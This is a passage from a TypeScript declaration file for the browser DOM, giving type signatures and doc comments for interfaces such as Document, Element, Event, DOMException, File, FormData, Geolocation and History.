SVGSwitchElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"symbol\"): SVGSymbolElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"tspan\"): SVGTSpanElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"textContent\"): SVGTextContentElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"text\"): SVGTextElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"textPath\"): SVGTextPathElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"textPositioning\"): SVGTextPositioningElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"title\"): SVGTitleElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"use\"): SVGUseElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"view\"): SVGViewElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: string): SVGElement;\\n    createElementNS(namespaceURI: string | null, qualifiedName: string): Element;\\n    createExpression(expression: string, resolver: XPathNSResolver): XPathExpression;\\n    /**\\n     * Creates a NodeIterator object that you can use to traverse filtered lists of nodes or elements in a document.\\n     * @param root The root element or node to start traversing on.\\n     * @param whatToShow The type of nodes or elements to appear in the node list\\n     * @param filter A custom NodeFilter function to use. For more information, see filter. Use null for no filter.\\n     * @param entityReferenceExpansion A flag that specifies whether entity reference nodes are expanded.\\n     */\\n    createNodeIterator(root: Node, whatToShow?: number, filter?: NodeFilter, entityReferenceExpansion?: boolean): NodeIterator;\\n    createNSResolver(nodeResolver: Node): XPathNSResolver;\\n    createProcessingInstruction(target: string, data: string): ProcessingInstruction;\\n    /**\\n     *  Returns an empty range object that has both of its boundary points positioned at the beginning of the document.\\n     */\\n    createRange(): Range;\\n    /**\\n     * Creates a text string from the specified value.\\n     * @param data String that specifies the nodeValue property of the text node.\\n     */\\n    createTextNode(data: string): Text;\\n    createTouch(view: Window, target: EventTarget, identifier: number, pageX: number, pageY: number, screenX: number, screenY: number): Touch;\\n    createTouchList(...touches: Touch[]): TouchList;\\n    /**\\n     * Creates a TreeWalker object that you can use to traverse filtered lists of nodes or elements in a document.\\n     * @param root The root element or node to start traversing on.\\n     * @param whatToShow The type of nodes or elements to appear in the node list. For more information, see whatToShow.\\n     * @param filter A custom NodeFilter function to use.\\n     * @param entityReferenceExpansion A flag that specifies whether entity reference nodes are expanded.\\n     */\\n    createTreeWalker(root: Node, whatToShow?: number, filter?: NodeFilter, entityReferenceExpansion?: boolean): TreeWalker;\\n    /**\\n     * Returns the element for the specified x coordinate and the specified y coordinate.\\n     * @param x The x-offset\\n     * @param y The y-offset\\n     */\\n    elementFromPoint(x: number, y: number): Element;\\n    evaluate(expression: string, contextNode: Node, resolver: XPathNSResolver | null, type: number, result: XPathResult | null): XPathResult;\\n    /**\\n     * Executes a command on the current document, current selection, or the given range.\\n     * @param commandId String that specifies the command to execute. This command can be any of the command identifiers that can be executed in script.\\n     * @param showUI Display the user interface, defaults to false.\\n     * @param value Value to assign.\\n     */\\n    execCommand(commandId: string, showUI?: boolean, value?: any): boolean;\\n    /**\\n     * Displays help information for the given command identifier.\\n     * @param commandId Displays help information for the given command identifier.\\n     */\\n    execCommandShowHelp(commandId: string): boolean;\\n    exitFullscreen(): void;\\n    exitPointerLock(): void;\\n    /**\\n     * Causes the element to receive the focus and executes the code specified by the onfocus event.\\n     */\\n    focus(): void;\\n    /**\\n     * Returns a reference to the first object with the specified value of the ID or NAME attribute.\\n     * @param elementId String that specifies the ID value. Case-insensitive.\\n     */\\n    getElementById(elementId: string): HTMLElement | null;\\n    getElementsByClassName(classNames: string): HTMLCollectionOf<Element>;\\n    /**\\n     * Gets a collection of objects based on the value of the NAME or ID attribute.\\n     * @param elementName Gets a collection of objects based on the value of the NAME or ID attribute.\\n     */\\n    getElementsByName(elementName: string): NodeListOf<HTMLElement>;\\n    /**\\n     * Retrieves a collection of objects based on the specified element name.\\n     * @param name Specifies the name of an element.\\n     */\\n    getElementsByTagName<K extends keyof ElementListTagNameMap>(tagname: K): ElementListTagNameMap[K];\\n    getElementsByTagName(tagname: string): NodeListOf<Element>;\\n    getElementsByTagNameNS(namespaceURI: \"http://www.w3.org/1999/xhtml\", localName: string): HTMLCollectionOf<HTMLElement>;\\n    getElementsByTagNameNS(namespaceURI: \"http://www.w3.org/2000/svg\", localName: string): HTMLCollectionOf<SVGElement>;\\n    getElementsByTagNameNS(namespaceURI: string, localName: string): HTMLCollectionOf<Element>;\\n    /**\\n     * Returns an object representing the current selection of the document that is loaded into the object displaying a webpage.\\n     */\\n    getSelection(): Selection;\\n    /**\\n     * Gets a value indicating whether the object currently has focus.\\n     */\\n    hasFocus(): boolean;\\n    importNode<T extends Node>(importedNode: T, deep: boolean): T;\\n    msElementsFromPoint(x: number, y: number): NodeListOf<Element>;\\n    msElementsFromRect(left: number, top: number, width: number, height: number): NodeListOf<Element>;\\n    /**\\n     * Opens a new window and loads a document specified by a given URL. Also, opens a new window that uses the url parameter and the name parameter to collect the output of the write method and the writeln method.\\n     * @param url Specifies a MIME type for the document.\\n     * @param name Specifies the name of the window. This name is used as the value for the TARGET attribute on a form or an anchor element.\\n     * @param features Contains a list of items separated by commas. Each item consists of an option and a value, separated by an equals sign (for example, \"fullscreen=yes, toolbar=yes\"). The following values are supported.\\n     * @param replace Specifies whether the existing entry for the document is replaced in the history list.\\n     */\\n    open(url?: string, name?: string, features?: string, replace?: boolean): Document;\\n    /**\\n     * Returns a Boolean value that indicates whether a specified command can be successfully executed using execCommand, given the current state of the document.\\n     * @param commandId Specifies a command identifier.\\n     */\\n    queryCommandEnabled(commandId: string): boolean;\\n    /**\\n     * Returns a Boolean value that indicates whether the specified command is in the indeterminate state.\\n     * @param commandId String that specifies a command identifier.\\n     */\\n    queryCommandIndeterm(commandId: string): boolean;\\n    /**\\n     * Returns a Boolean value that indicates the current state of the command.\\n     * @param commandId String that specifies a command identifier.\\n     */\\n    queryCommandState(commandId: string): boolean;\\n    /**\\n     * Returns a Boolean value that indicates whether the current command is supported on the current range.\\n     * @param commandId Specifies a command identifier.\\n     */\\n    queryCommandSupported(commandId: string): boolean;\\n    /**\\n     * Retrieves the string associated with a command.\\n     * @param commandId String that contains the identifier of a command. This can be any command identifier given in the list of Command Identifiers.\\n     */\\n    queryCommandText(commandId: string): string;\\n    /**\\n     * Returns the current value of the document, range, or current selection for the given command.\\n     * @param commandId String that specifies a command identifier.\\n     */\\n    queryCommandValue(commandId: string): string;\\n    releaseEvents(): void;\\n    /**\\n     * Allows updating the print settings for the page.\\n     */\\n    updateSettings(): void;\\n    webkitCancelFullScreen(): void;\\n    webkitExitFullscreen(): void;\\n    /**\\n     * Writes one or more HTML expressions to a document in the specified window.\\n     * @param content Specifies the text and HTML tags to write.\\n     */\\n    write(...content: string[]): void;\\n    /**\\n     * Writes one or more HTML expressions, followed by a carriage return, to a document in the specified window.\\n     * @param content The text and HTML tags to write.\\n     */\\n    writeln(...content: string[]): void;\\n    addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Document: {\\n    prototype: Document;\\n    new(): Document;\\n};\\n\\ninterface DocumentFragment extends Node, NodeSelector, ParentNode {\\n    getElementById(elementId: string): HTMLElement | null;\\n}\\n\\ndeclare var DocumentFragment: {\\n    prototype: DocumentFragment;\\n    new(): DocumentFragment;\\n};\\n\\ninterface DocumentType extends Node, ChildNode {\\n    readonly entities: NamedNodeMap;\\n    readonly internalSubset: string | null;\\n    readonly name: string;\\n    readonly notations: NamedNodeMap;\\n    readonly publicId: string;\\n    readonly systemId: string;\\n}\\n\\ndeclare var DocumentType: {\\n    prototype: DocumentType;\\n    new(): DocumentType;\\n};\\n\\ninterface DOMError {\\n    readonly name: string;\\n    toString(): string;\\n}\\n\\ndeclare var DOMError: {\\n    prototype: DOMError;\\n    new(): DOMError;\\n};\\n\\ninterface DOMException {\\n    readonly code: number;\\n    readonly message: string;\\n    readonly name: string;\\n    toString(): string;\\n    readonly ABORT_ERR: number;\\n    readonly DATA_CLONE_ERR: number;\\n    readonly DOMSTRING_SIZE_ERR: number;\\n    readonly HIERARCHY_REQUEST_ERR: number;\\n    readonly INDEX_SIZE_ERR: number;\\n    readonly INUSE_ATTRIBUTE_ERR: number;\\n    readonly INVALID_ACCESS_ERR: number;\\n    readonly INVALID_CHARACTER_ERR: number;\\n    readonly INVALID_MODIFICATION_ERR: number;\\n    readonly INVALID_NODE_TYPE_ERR: number;\\n    readonly INVALID_STATE_ERR: number;\\n    readonly NAMESPACE_ERR: number;\\n    readonly NETWORK_ERR: number;\\n    readonly NO_DATA_ALLOWED_ERR: number;\\n    readonly NO_MODIFICATION_ALLOWED_ERR: number;\\n    readonly NOT_FOUND_ERR: number;\\n    readonly NOT_SUPPORTED_ERR: number;\\n    readonly PARSE_ERR: number;\\n    readonly QUOTA_EXCEEDED_ERR: number;\\n    readonly SECURITY_ERR: number;\\n    readonly SERIALIZE_ERR: number;\\n    readonly SYNTAX_ERR: number;\\n    readonly TIMEOUT_ERR: number;\\n    readonly TYPE_MISMATCH_ERR: number;\\n    readonly URL_MISMATCH_ERR: number;\\n    readonly VALIDATION_ERR: number;\\n    readonly WRONG_DOCUMENT_ERR: number;\\n}\\n\\ndeclare var DOMException: {\\n    prototype: DOMException;\\n    new(): DOMException;\\n    readonly ABORT_ERR: number;\\n    readonly DATA_CLONE_ERR: number;\\n    readonly DOMSTRING_SIZE_ERR: number;\\n    readonly HIERARCHY_REQUEST_ERR: number;\\n    readonly INDEX_SIZE_ERR: number;\\n    readonly INUSE_ATTRIBUTE_ERR: number;\\n    readonly INVALID_ACCESS_ERR: number;\\n    readonly INVALID_CHARACTER_ERR: number;\\n    readonly INVALID_MODIFICATION_ERR: number;\\n    readonly INVALID_NODE_TYPE_ERR: number;\\n    readonly INVALID_STATE_ERR: number;\\n    readonly NAMESPACE_ERR: number;\\n    readonly NETWORK_ERR: number;\\n    readonly NO_DATA_ALLOWED_ERR: number;\\n    readonly NO_MODIFICATION_ALLOWED_ERR: number;\\n    readonly NOT_FOUND_ERR: number;\\n    readonly NOT_SUPPORTED_ERR: number;\\n    readonly PARSE_ERR: number;\\n    readonly QUOTA_EXCEEDED_ERR: number;\\n    readonly SECURITY_ERR: number;\\n    readonly SERIALIZE_ERR: number;\\n    readonly SYNTAX_ERR: number;\\n    readonly TIMEOUT_ERR: number;\\n    readonly TYPE_MISMATCH_ERR: number;\\n    readonly URL_MISMATCH_ERR: number;\\n    readonly VALIDATION_ERR: number;\\n    readonly WRONG_DOCUMENT_ERR: number;\\n};\\n\\ninterface DOMImplementation {\\n    createDocument(namespaceURI: string | null, qualifiedName: string | null, doctype: DocumentType | null): Document;\\n    createDocumentType(qualifiedName: string, publicId: string, systemId: string): DocumentType;\\n    createHTMLDocument(title: string): Document;\\n    hasFeature(feature: string | null, version: string | null): boolean;\\n}\\n\\ndeclare var DOMImplementation: {\\n    prototype: DOMImplementation;\\n    new(): DOMImplementation;\\n};\\n\\ninterface DOMParser {\\n    parseFromString(source: string, mimeType: string): Document;\\n}\\n\\ndeclare var DOMParser: {\\n    prototype: DOMParser;\\n    new(): DOMParser;\\n};\\n\\ninterface DOMSettableTokenList extends DOMTokenList {\\n    value: string;\\n}\\n\\ndeclare var DOMSettableTokenList: {\\n    prototype: DOMSettableTokenList;\\n    new(): DOMSettableTokenList;\\n};\\n\\ninterface DOMStringList {\\n    readonly length: number;\\n    contains(str: string): boolean;\\n    item(index: number): string | null;\\n    [index: number]: string;\\n}\\n\\ndeclare var DOMStringList: {\\n    prototype: DOMStringList;\\n    new(): DOMStringList;\\n};\\n\\ninterface DOMStringMap {\\n    [name: string]: string | undefined;\\n}\\n\\ndeclare var DOMStringMap: {\\n    prototype: DOMStringMap;\\n    new(): DOMStringMap;\\n};\\n\\ninterface DOMTokenList {\\n    readonly length: number;\\n    add(...token: string[]): void;\\n    contains(token: string): boolean;\\n    item(index: number): string;\\n    remove(...token: string[]): void;\\n    toggle(token: string, force?: boolean): boolean;\\n    toString(): string;\\n    [index: number]: string;\\n}\\n\\ndeclare var DOMTokenList: {\\n    prototype: DOMTokenList;\\n    new(): DOMTokenList;\\n};\\n\\ninterface DragEvent extends MouseEvent {\\n    readonly dataTransfer: DataTransfer;\\n    initDragEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, ctrlKeyArg: boolean, altKeyArg: boolean, shiftKeyArg: boolean, metaKeyArg: boolean, buttonArg: number, relatedTargetArg: EventTarget, dataTransferArg: DataTransfer): void;\\n    msConvertURL(file: File, targetType: string, targetURL?: string): void;\\n}\\n\\ndeclare var DragEvent: {\\n    prototype: DragEvent;\\n    new(type: \"drag\" | \"dragend\" | \"dragenter\" | \"dragexit\" | \"dragleave\" | \"dragover\" | \"dragstart\" | \"drop\", dragEventInit?: { dataTransfer?: DataTransfer }): DragEvent;\\n};\\n\\ninterface DynamicsCompressorNode extends AudioNode {\\n    readonly attack: AudioParam;\\n    readonly knee: AudioParam;\\n    readonly ratio: AudioParam;\\n    readonly reduction: number;\\n    readonly release: AudioParam;\\n    readonly threshold: AudioParam;\\n}\\n\\ndeclare var DynamicsCompressorNode: {\\n    prototype: DynamicsCompressorNode;\\n    new(): DynamicsCompressorNode;\\n};\\n\\ninterface ElementEventMap extends GlobalEventHandlersEventMap {\\n    \"ariarequest\": Event;\\n    \"command\": Event;\\n    \"gotpointercapture\": PointerEvent;\\n    \"lostpointercapture\": PointerEvent;\\n    \"MSGestureChange\": MSGestureEvent;\\n    \"MSGestureDoubleTap\": MSGestureEvent;\\n    \"MSGestureEnd\": MSGestureEvent;\\n    \"MSGestureHold\": MSGestureEvent;\\n    \"MSGestureStart\": MSGestureEvent;\\n    \"MSGestureTap\": MSGestureEvent;\\n    \"MSGotPointerCapture\": MSPointerEvent;\\n    \"MSInertiaStart\": MSGestureEvent;\\n    \"MSLostPointerCapture\": MSPointerEvent;\\n    \"MSPointerCancel\": MSPointerEvent;\\n    \"MSPointerDown\": MSPointerEvent;\\n    \"MSPointerEnter\": MSPointerEvent;\\n    \"MSPointerLeave\": MSPointerEvent;\\n    \"MSPointerMove\": MSPointerEvent;\\n    \"MSPointerOut\": MSPointerEvent;\\n    \"MSPointerOver\": MSPointerEvent;\\n    \"MSPointerUp\": MSPointerEvent;\\n    \"touchcancel\": TouchEvent;\\n    \"touchend\": TouchEvent;\\n    \"touchmove\": TouchEvent;\\n    \"touchstart\": TouchEvent;\\n    \"webkitfullscreenchange\": Event;\\n    \"webkitfullscreenerror\": Event;\\n}\\n\\ninterface Element extends Node, GlobalEventHandlers, ElementTraversal, NodeSelector, ChildNode, ParentNode {\\n    readonly classList: DOMTokenList;\\n    className: string;\\n    readonly clientHeight: number;\\n    readonly clientLeft: number;\\n    readonly clientTop: number;\\n    readonly clientWidth: number;\\n    id: string;\\n    innerHTML: string;\\n    msContentZoomFactor: number;\\n    readonly msRegionOverflow: string;\\n    onariarequest: (this: Element, ev: Event) => any;\\n    oncommand: (this: Element, ev: Event) => any;\\n    ongotpointercapture: (this: Element, ev: PointerEvent) => any;\\n    onlostpointercapture: (this: Element, ev: PointerEvent) => any;\\n    onmsgesturechange: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgesturedoubletap: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgestureend: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgesturehold: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgesturestart: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgesturetap: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgotpointercapture: (this: Element, ev: MSPointerEvent) => any;\\n    onmsinertiastart: (this: Element, ev: MSGestureEvent) => any;\\n    onmslostpointercapture: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointercancel: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerdown: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerenter: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerleave: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointermove: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerout: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerover: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerup: (this: Element, ev: MSPointerEvent) => any;\\n    ontouchcancel: (ev: TouchEvent) => any;\\n    ontouchend: (ev: TouchEvent) => any;\\n    ontouchmove: (ev: TouchEvent) => any;\\n    ontouchstart: (ev: TouchEvent) => any;\\n    onwebkitfullscreenchange: (this: Element, ev: Event) => any;\\n    onwebkitfullscreenerror: (this: Element, ev: Event) => any;\\n    outerHTML: string;\\n    readonly prefix: string | null;\\n    readonly scrollHeight: number;\\n    scrollLeft: number;\\n    scrollTop: number;\\n    readonly scrollWidth: number;\\n    readonly tagName: string;\\n    readonly assignedSlot: HTMLSlotElement | null;\\n    slot: string;\\n    readonly shadowRoot: ShadowRoot | null;\\n    getAttribute(name: string): string | null;\\n    getAttributeNode(name: string): Attr;\\n    getAttributeNodeNS(namespaceURI: string, localName: string): Attr;\\n    getAttributeNS(namespaceURI: string, localName: string): string;\\n    getBoundingClientRect(): ClientRect;\\n    getClientRects(): ClientRectList;\\n    getElementsByTagName<K extends keyof ElementListTagNameMap>(name: K): ElementListTagNameMap[K];\\n    getElementsByTagName(name: string): NodeListOf<Element>;\\n    getElementsByTagNameNS(namespaceURI: \"http://www.w3.org/1999/xhtml\", localName: string): HTMLCollectionOf<HTMLElement>;\\n    getElementsByTagNameNS(namespaceURI: \"http://www.w3.org/2000/svg\", localName: string): HTMLCollectionOf<SVGElement>;\\n    getElementsByTagNameNS(namespaceURI: string, localName: string): HTMLCollectionOf<Element>;\\n    hasAttribute(name: string): boolean;\\n    hasAttributeNS(namespaceURI: string, localName: string): boolean;\\n    msGetRegionContent(): MSRangeCollection;\\n    msGetUntransformedBounds(): ClientRect;\\n    msMatchesSelector(selectors: string): boolean;\\n    msReleasePointerCapture(pointerId: number): void;\\n    msSetPointerCapture(pointerId: number): void;\\n    msZoomTo(args: MsZoomToOptions): void;\\n    releasePointerCapture(pointerId: number): void;\\n    removeAttribute(qualifiedName: string): void;\\n    removeAttributeNode(oldAttr: Attr): Attr;\\n    removeAttributeNS(namespaceURI: string, localName: string): void;\\n    requestFullscreen(): void;\\n    requestPointerLock(): void;\\n    setAttribute(name: string, value: string): void;\\n    setAttributeNode(newAttr: Attr): Attr;\\n    setAttributeNodeNS(newAttr: Attr): Attr;\\n    setAttributeNS(namespaceURI: string, qualifiedName: string, value: string): void;\\n    setPointerCapture(pointerId: number): void;\\n    webkitMatchesSelector(selectors: string): boolean;\\n    webkitRequestFullscreen(): void;\\n    webkitRequestFullScreen(): void;\\n    getElementsByClassName(classNames: string): NodeListOf<Element>;\\n    matches(selector: string): boolean;\\n    closest(selector: string): Element | null;\\n    scrollIntoView(arg?: boolean | ScrollIntoViewOptions): void;\\n    scroll(options?: ScrollToOptions): void;\\n    scroll(x: number, y: number): void;\\n    scrollTo(options?: ScrollToOptions): void;\\n    scrollTo(x: number, y: number): void;\\n    scrollBy(options?: ScrollToOptions): void;\\n    scrollBy(x: number, y: number): void;\\n    insertAdjacentElement(position: InsertPosition, insertedElement: Element): Element | null;\\n    insertAdjacentHTML(where: InsertPosition, html: string): void;\\n    insertAdjacentText(where: InsertPosition, text: string): void;\\n    attachShadow(shadowRootInitDict: ShadowRootInit): ShadowRoot;\\n    addEventListener<K extends keyof ElementEventMap>(type: K, listener: (this: Element, ev: ElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Element: {\\n    prototype: Element;\\n    new(): Element;\\n};\\n\\ninterface ErrorEvent extends Event {\\n    readonly colno: number;\\n    readonly error: any;\\n    readonly filename: string;\\n    readonly lineno: number;\\n    readonly message: string;\\n    initErrorEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, messageArg: string, filenameArg: string, linenoArg: number): void;\\n}\\n\\ndeclare var ErrorEvent: {\\n    prototype: ErrorEvent;\\n    new(type: string, errorEventInitDict?: ErrorEventInit): ErrorEvent;\\n};\\n\\ninterface Event {\\n    readonly bubbles: boolean;\\n    readonly cancelable: boolean;\\n    cancelBubble: boolean;\\n    readonly currentTarget: EventTarget;\\n    readonly defaultPrevented: boolean;\\n    readonly eventPhase: number;\\n    readonly isTrusted: boolean;\\n    returnValue: boolean;\\n    readonly srcElement: Element | null;\\n    readonly target: EventTarget;\\n    readonly timeStamp: number;\\n    readonly type: string;\\n    readonly scoped: boolean;\\n    initEvent(eventTypeArg: string, canBubbleArg: boolean, cancelableArg: boolean): void;\\n    preventDefault(): void;\\n    stopImmediatePropagation(): void;\\n    stopPropagation(): void;\\n    deepPath(): EventTarget[];\\n    readonly AT_TARGET: number;\\n    readonly BUBBLING_PHASE: number;\\n    readonly CAPTURING_PHASE: number;\\n}\\n\\ndeclare var Event: {\\n    prototype: Event;\\n    new(typeArg: string, eventInitDict?: EventInit): Event;\\n    readonly AT_TARGET: number;\\n    readonly BUBBLING_PHASE: number;\\n    readonly CAPTURING_PHASE: number;\\n};\\n\\ninterface EventTarget {\\n    addEventListener(type: string, listener?: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\\n    dispatchEvent(evt: Event): boolean;\\n    removeEventListener(type: string, listener?: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\\n}\\n\\ndeclare var EventTarget: {\\n    prototype: EventTarget;\\n    new(): EventTarget;\\n};\\n\\ninterface EXT_frag_depth {\\n}\\n\\ndeclare var EXT_frag_depth: {\\n    prototype: EXT_frag_depth;\\n    new(): EXT_frag_depth;\\n};\\n\\ninterface EXT_texture_filter_anisotropic {\\n    readonly MAX_TEXTURE_MAX_ANISOTROPY_EXT: number;\\n    readonly TEXTURE_MAX_ANISOTROPY_EXT: number;\\n}\\n\\ndeclare var EXT_texture_filter_anisotropic: {\\n    prototype: EXT_texture_filter_anisotropic;\\n    new(): EXT_texture_filter_anisotropic;\\n    readonly MAX_TEXTURE_MAX_ANISOTROPY_EXT: number;\\n    readonly TEXTURE_MAX_ANISOTROPY_EXT: number;\\n};\\n\\ninterface ExtensionScriptApis {\\n    extensionIdToShortId(extensionId: string): number;\\n    fireExtensionApiTelemetry(functionName: string, isSucceeded: boolean, isSupported: boolean): void;\\n    genericFunction(routerAddress: any, parameters?: string, callbackId?: number): void;\\n    genericSynchronousFunction(functionId: number, parameters?: string): string;\\n    getExtensionId(): string;\\n    registerGenericFunctionCallbackHandler(callbackHandler: any): void;\\n    registerGenericPersistentCallbackHandler(callbackHandler: any): void;\\n}\\n\\ndeclare var ExtensionScriptApis: {\\n    prototype: ExtensionScriptApis;\\n    new(): ExtensionScriptApis;\\n};\\n\\ninterface External {\\n}\\n\\ndeclare var External: {\\n    prototype: External;\\n    new(): External;\\n};\\n\\ninterface File extends Blob {\\n    readonly lastModifiedDate: any;\\n    readonly name: string;\\n    readonly webkitRelativePath: string;\\n}\\n\\ndeclare var File: {\\n    prototype: File;\\n    new (parts: (ArrayBuffer | ArrayBufferView | Blob | string)[], filename: string, properties?: FilePropertyBag): File;\\n};\\n\\ninterface FileList {\\n    readonly length: number;\\n    item(index: number): File;\\n    [index: number]: File;\\n}\\n\\ndeclare var FileList: {\\n    prototype: FileList;\\n    new(): FileList;\\n};\\n\\ninterface FileReader extends EventTarget, MSBaseReader {\\n    readonly error: DOMError;\\n    readAsArrayBuffer(blob: Blob): void;\\n    readAsBinaryString(blob: Blob): void;\\n    readAsDataURL(blob: Blob): void;\\n    readAsText(blob: Blob, encoding?: string): void;\\n    addEventListener<K extends keyof MSBaseReaderEventMap>(type: K, listener: (this: FileReader, ev: MSBaseReaderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var FileReader: {\\n    prototype: FileReader;\\n    new(): FileReader;\\n};\\n\\ninterface FocusEvent extends UIEvent {\\n    readonly relatedTarget: EventTarget;\\n    initFocusEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, relatedTargetArg: EventTarget): void;\\n}\\n\\ndeclare var FocusEvent: {\\n    prototype: FocusEvent;\\n    new(typeArg: string, eventInitDict?: FocusEventInit): FocusEvent;\\n};\\n\\ninterface FocusNavigationEvent extends Event {\\n    readonly navigationReason: NavigationReason;\\n    readonly originHeight: number;\\n    readonly originLeft: number;\\n    readonly originTop: number;\\n    readonly originWidth: number;\\n    requestFocus(): void;\\n}\\n\\ndeclare var FocusNavigationEvent: {\\n    prototype: FocusNavigationEvent;\\n    new(type: string, eventInitDict?: FocusNavigationEventInit): FocusNavigationEvent;\\n};\\n\\ninterface FormData {\\n    append(name: string, value: string | Blob, fileName?: string): void;\\n    delete(name: string): void;\\n    get(name: string): FormDataEntryValue | null;\\n    getAll(name: string): FormDataEntryValue[];\\n    has(name: string): boolean;\\n    set(name: string, value: string | Blob, fileName?: string): void;\\n}\\n\\ndeclare var FormData: {\\n    prototype: FormData;\\n    new (form?: HTMLFormElement): FormData;\\n};\\n\\ninterface GainNode extends AudioNode {\\n    readonly gain: AudioParam;\\n}\\n\\ndeclare var GainNode: {\\n    prototype: GainNode;\\n    new(): GainNode;\\n};\\n\\ninterface Gamepad {\\n    readonly axes: number[];\\n    readonly buttons: GamepadButton[];\\n    readonly connected: boolean;\\n    readonly id: string;\\n    readonly index: number;\\n    readonly mapping: string;\\n    readonly timestamp: number;\\n}\\n\\ndeclare var Gamepad: {\\n    prototype: Gamepad;\\n    new(): Gamepad;\\n};\\n\\ninterface GamepadButton {\\n    readonly pressed: boolean;\\n    readonly value: number;\\n}\\n\\ndeclare var GamepadButton: {\\n    prototype: GamepadButton;\\n    new(): GamepadButton;\\n};\\n\\ninterface GamepadEvent extends Event {\\n    readonly gamepad: Gamepad;\\n}\\n\\ndeclare var GamepadEvent: {\\n    prototype: GamepadEvent;\\n    new(typeArg: string, eventInitDict?: GamepadEventInit): GamepadEvent;\\n};\\n\\ninterface Geolocation {\\n    clearWatch(watchId: number): void;\\n    getCurrentPosition(successCallback: PositionCallback, errorCallback?: PositionErrorCallback, options?: PositionOptions): void;\\n    watchPosition(successCallback: PositionCallback, errorCallback?: PositionErrorCallback, options?: PositionOptions): number;\\n}\\n\\ndeclare var Geolocation: {\\n    prototype: Geolocation;\\n    new(): Geolocation;\\n};\\n\\ninterface HashChangeEvent extends Event {\\n    readonly newURL: string | null;\\n    readonly oldURL: string | null;\\n}\\n\\ndeclare var HashChangeEvent: {\\n    prototype: HashChangeEvent;\\n    new(typeArg: string, eventInitDict?: HashChangeEventInit): HashChangeEvent;\\n};\\n\\ninterface Headers {\\n    append(name: string, value: string): void;\\n    delete(name: string): void;\\n    forEach(callback: ForEachCallback): void;\\n    get(name: string): string | null;\\n    has(name: string): boolean;\\n    set(name: string, value: string): void;\\n}\\n\\ndeclare var Headers: {\\n    prototype: Headers;\\n    new(init?: any): Headers;\\n};\\n\\ninterface History {\\n    readonly length: number;\\n    readonly state: any;\\n    scrollRestoration: ScrollRestoration;\\n    back(): void;\\n    forward(): void;\\n    go(delta?: number): void;\\n    pushState(data: any, title: string, url?: string | null): void;\\n    replaceState(data: any, title: string, url?: string | null): void;\\n}\\n\\ndeclare var History: {\\n    prototype: History;\\n    new(): History;\\n};\\n\\ninterface HTMLAllCollection {\\n    readonly length: number;\\n    item(nameOrIndex?: string): HTMLCollection | Element | null;\\n    namedItem(name: string): HTMLCollection | Element | null;\\n    [index: number]: Element;\\n}\\n\\ndeclare var HTMLAllCollection: {\\n    prototype: HTMLAllCollection;\\n    new(): HTMLAllCollection;\\n};\\n\\ninterface HTMLAnchorElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the character set used to encode the object.\\n     */\\n    charset: string;\\n    /**\\n     * Sets or retrieves the coordinates of the object.\\n     */\\n    coords: string;\\n    download: string;\\n    /**\\n     * Contains the anchor portion of the URL including the hash sign (#).\\n     */\\n    hash: string;\\n    /**\\n     * Contains the hostname and port values of the URL.\\n     */\\n    host: string;\\n    /**\\n     * Contains the hostname of a URL.\\n     */\\n    hostname: string;\\n    /**\\n     * Sets or retrieves a destination URL or an anchor point.\\n     */\\n    href: string;\\n    /**\\n     * Sets or retrieves the language code of the object.\\n     */\\n    hreflang: string;\\n    Methods: string;\\n    readonly mimeType: string;\\n    /**\\n     * Sets or retrieves the shape of the object.\\n     */\\n    name: string;\\n    readonly nameProp: string;\\n    /**\\n     * Contains the pathname of the URL.\\n     */\\n    pathname: string;\\n    /**\\n     * Sets or retrieves the port number associated with a URL.\\n     */\\n    port: string;\\n    /**\\n     * Contains the protocol of the URL.\\n     */\\n    protocol: string;\\n    readonly protocolLong: string;\\n    /**\\n     * Sets or retrieves the relationship between the object and the destination of the link.\\n     */\\n    rel: string;\\n    /**\\n     * Sets or retrieves the relationship between the object and the destination of the link.\\n     */\\n    rev: string;\\n    /**\\n     * Sets or retrieves the substring of the href property that follows the question mark.\\n     */\\n    search: string;\\n    /**\\n     * Sets or retrieves the shape of the object.\\n     */\\n    shape: 